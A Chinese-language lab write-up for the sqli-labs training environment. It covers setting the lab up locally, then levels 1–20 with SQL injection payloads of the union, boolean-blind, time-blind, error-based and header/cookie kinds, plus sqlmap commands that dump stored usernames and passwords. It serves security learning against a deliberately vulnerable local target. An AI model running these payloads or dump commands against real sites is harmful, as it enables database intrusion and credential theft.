文章目录
sqli-labs环境安装
sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
phpstudy下载地址:https://www.xp.cn/
解压sqli-labs,移动至phpstudy_pro/WWW文件下。
更改数据库配置文件sqli-labs/sql-connections/db-creds.inc
下载php 5.3.29nts版本
访问127.0.0.1/sqli-labs 更改php语言后初始化数据库即可访问。
Basic Challenges
less1
请求方法 | 注入类型 |
---|---|
get | 联合查询,布尔,时间,报错 |
联合注入
按照回显的位置构造子查询逐渐爆出信息
?id=' order by 4%23 得到回显的列数为3
?id=' union select 1,2,3%23 判断回显的位置为2,3
?id=' union select 1,database(),version()%23 得到数据库为'security' 版本为5.7.26
爆出表名
?id=' union select 1,(select table_name from information_schema.tables where table_schema = 'security' limit 0,1),3%23
爆出列名 id username password
?id=' union select 1,(select column_name from information_schema.columns where table_schema = 'security' and table_name ='users' limit 0,1),3%23
爆出用户名和密码
?id=' union select 1,(select username from users limit 3,1),(select password from users limit 3,1)%23
通过字符串语句一次显示出结果
group_concat把查询到的结果整合为一个字符串返回故只占一个数据位
?id=' union select 1,2,(select group_concat(username,password) from users)%23
加入分割符号<br> 使长字符串换行在页面显示
?id=' union select 1,2,(select group_concat(username,password separator '<br>') from users)%23
时间注入
通过回响时间判断出数据库的第一个字符为's' 进而爆出其他信息
?id=1' and if(substr(database(),1,1)='s',sleep(5),1)%23
报错注入
?id=1' and updatexml(1,concat(0x7e,database()),1)%23
布尔注入
第一次请求没有回显结果判断数据库名的第一个字符不为a 第二次请求判断第一个字符为s
?id=1' and substr(database(),1,1)='a'%23
?id=1' and substr(database(),1,1)='s'%23
sqlmap
找到数据库名
python sqlmap.py -u localhost/sqli-labs/Less-1/?id=1 -v 0 --current-db --batch
找到表名
python sqlmap.py -u localhost/sqli-labs/Less-1/?id=1 -v 0 --tables -D security --batch
找到列名
python sqlmap.py -u localhost/sqli-labs/Less-1/?id=1 -v 0 --columns -T users -D security --batch
dump数据
python sqlmap.py -u localhost/sqli-labs/Less-1/?id=1 -v 0 -dump -C username,password -T users -D security --batch
less2
请求方法 | 注入类型 |
---|---|
get | 联合查询,布尔,时间,报错 |
和less1 只有闭合类型不同 通过1’%23 错误提示信息多出的’ 猜测为数值型搜索
1 and 1=1%23 正常返回
1 and 1=2%23 不返回结果
四种利用方式和less1相同
less3
请求方法 | 注入类型 |
---|---|
get | 联合查询,布尔,时间,报错 |
与less-1只有闭合方式不同
?id=1') and 1=1%23
?id=1') and 1=2%23
less4
请求方法 | 注入类型 |
---|---|
get | 联合查询,布尔,时间,报错 |
与less-1只有闭合方式不同
?id=1") and 1=1%23
?id=1") and 1=2%23
less5
通过测试发现 id=1~14时返回 You are in…
id>15时不返回任何结果
请求方法 | 注入类型 |
---|---|
get | 布尔,时间,报错 |
id=1' and 1=1%23 正常
id=1' and 1=2%23 无消息返回
判断'闭合后存在注入
无查询信息返回故采用布尔、时间盲注
布尔盲注:
与less1布尔盲注方法相同
时间盲注:
?id=1' and ?id=1' and if(ascii(substr(database(),1,1))=61,sleep(5),1)%23
?id=1' and ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)%23
当第一个字符的ascii码为115时响应等待了5s,故判断第一个字符为s
尝试报错注入发现也会回显报错信息
?id=1' and updatexml(1,concat(0x7e,database()),1)%23 #获得数据库名 继续构造获得其它信息
less6
请求方法 | 注入类型 |
---|---|
get | 布尔,时间,报错 |
与less5利用方式相同闭合的方式为双引号
?id=1" and 1=2%23
?id=1" and 1=1%23
less7
请求方法 | 注入类型 |
---|---|
get | 布尔,时间 |
与less5利用方式相同闭合的方式为’))
报错的信息不会回显故无法用报错注入查询
?id=1')) and 1=2%23
?id=1')) and 1=1%23
less8
请求方法 | 注入类型 |
---|---|
get | 布尔,时间 |
与less7一致闭合方式为'
?id=1' and 1=2%23
?id=1' and 1=1%23
less9
请求方法 | 注入类型 |
---|---|
get | 时间盲注 |
经过探测发现id=1,id=88均返回you are in… 故无法使用布尔注入 采用时间盲注
闭合条件为'
?id=1' and if(length(database())=8,sleep(5),1)%23
发现长度为8时响应时间为8s 得到数据库长度 从而构造其他子查询得到信息
less10
请求方法 | 注入类型 |
---|---|
get | 时间盲注 |
与less9完全相同只有闭合方式不同,闭合条件为 "
less 11
请求方法 | 注入类型 |
---|---|
post | 联合查询,布尔,时间,报错 |
与less-1基本相同,请求方式为post
通过闭合直接查询
闭合条件为’
这里可以用#注释后面的语句–+,%23会报错(post请求中不能有+可以用-- abc(任意字符)来注释后面的语句,url解码会把+变为空格)
不构造子查询语句更改limit位置爆出所有用户名和密码
1' or 1='1
1' or 1=1 limit 0,1#
sqlmap -technique
四种注入利用方式和less1相同,不做赘述。这里通过sqlmap的指定technique来学习下sqlmap的测试语句.
把请求保存在post.txt sqlmap-r post.txt开始测试
联合注入
sqlmap语句:
python sqlmap.py -r post.txt --technique U --flush-session --batch
sqlmap payload:
uname=1' UNION ALL SELECT NULL,CONCAT(0x7176766271,0x524364584c4741486954756f784a50685759446b424b7a4c42486e775652786e556355764a565375,0x7178717871)-- -&passwd=1&submit=Submit
与union不同的是union all 将两个结果集中重复的数据也都列举出来
sqlmap将一串随机字符串进行了hex ascii编码
payload将username后的语句注释掉,返回的信息是null,随机字符串。
sqlmap提供了其他调整联合注入的参数:
--union-char 修改联合注入的字符 默认为null
--union-cols 修改联合注入的列数 默认1-10
--union-from 修改联合注入中from字句对应的表 Microsoft Access不提供表的话查询会失败
时间注入
sqlmap语句:
python sqlmap.py -r post.txt --technique T --flush-session --batch
sqlmap payload:
1' AND (SELECT 9203 FROM (SELECT(SLEEP(5)))hdex)-- pCfw&passwd=1&submit=Submit
(select(sleep(5))) 返回一个表命名为hdex 生成表的时候会sleep()
布尔注入
sqlmap语句:
python sqlmap.py -r post.txt --technique B --flush-session --batch
sqlmap payload:
uname=1' OR NOT 3354=3354
报错注入
sqlmap语句:
python sqlmap.py -r post.txt --technique E --flush-session --batch
sqlmap payload:
uname=1' AND GTID_SUBSET(CONCAT(0x7170787071,(SELECT (ELT(3399=3399,1))),0x716b6a7a71),3399)-- aViB&passwd=1&submit=Submit
less12
请求方法 | 注入类型 |
---|---|
post | 联合查询,布尔,时间,报错 |
闭合方式为")
其余与less11相同
less13
请求方法 | 注入类型 |
---|---|
post | 布尔,时间,报错 |
闭合方式 ')
同时输入正确并不返回查询信息,联合注入无法使用,其他地方和less11相同
less14
请求方法 | 注入类型 |
---|---|
post | 布尔盲注,时间盲注,报错 |
闭合方式 "
与less13相同
less15
请求方法 | 注入类型 |
---|---|
post | 布尔盲注,时间盲注 |
闭合方式 ’
屏蔽了报错信息,不能使用报错注入,其他与less11相同
less16
请求方法 | 注入类型 |
---|---|
post | 布尔盲注,时间盲注 |
闭合方式 ")
其余与less15相同
less17
update函数注入:
请求方法 | 注入类型 |
---|---|
post | 报错盲注,时间盲注 |
源码对uname进行了check_in函数的过滤,对passwd并没有过滤可以注入。
更新的语句为:
update tables set passwd='$passwd' where username = 'username'
没有过滤报错信息,故可用报错注入。
payload:
User name:admin
New Password:1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
less18
insert函数注入
请求方法 | 注入类型 |
---|---|
post | 报错盲注,时间盲注 |
源码中插入语句为:
# 获取输入的 uagent 和 ip 地址
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
# 获得输入的uname和passwd check_in进行过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
#检查uname和passwd是否合法
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
# 插入uagent ip uname
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
RMOTE_ADDR客户端无法伪造,故修改user-agent进行注入(不能用#直接注释后面的sql语句,否则语法错误无法执行updatexml,需要闭合后面的 ')
payload:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
同理可以进行时间注入:
1' and if(substr(database(),1,1)='s',sleep(5),1) and '1'='1
sqlmap默认level级别为1,级别大于等于 2 则会测试 HTTP Cookie 头部,级别大于等于 3 则会测试 HTTP UserAgent/Referer 头部值。
将级别调整到3
python sqlmap.py -r post.txt -v 1 --level 3 --dbms mysql --batch
Less19
请求方法 | 注入类型 |
---|---|
post | 报错盲注,时间盲注 |
和less18基本相同,通过显示的信息得出注入点在refer
less20
请求方法 | 注入类型 |
---|---|
post | 报错盲注,时间盲注,联合查询注入,布尔注入 |
登录后显示下列信息:
在删除的请求中,去掉post请求内容,在cookie字段用 ’ 闭合即可。
payload:
报错注入
dhakkan' and updatexml(1,concat(0x7e,database()),1)#
因为页面会回显信息所以可以使用联合查询注入
' union select database(),version(),3#
布尔盲注和时间盲注同样可以利用and后面改为布尔和时间注入的语句即可。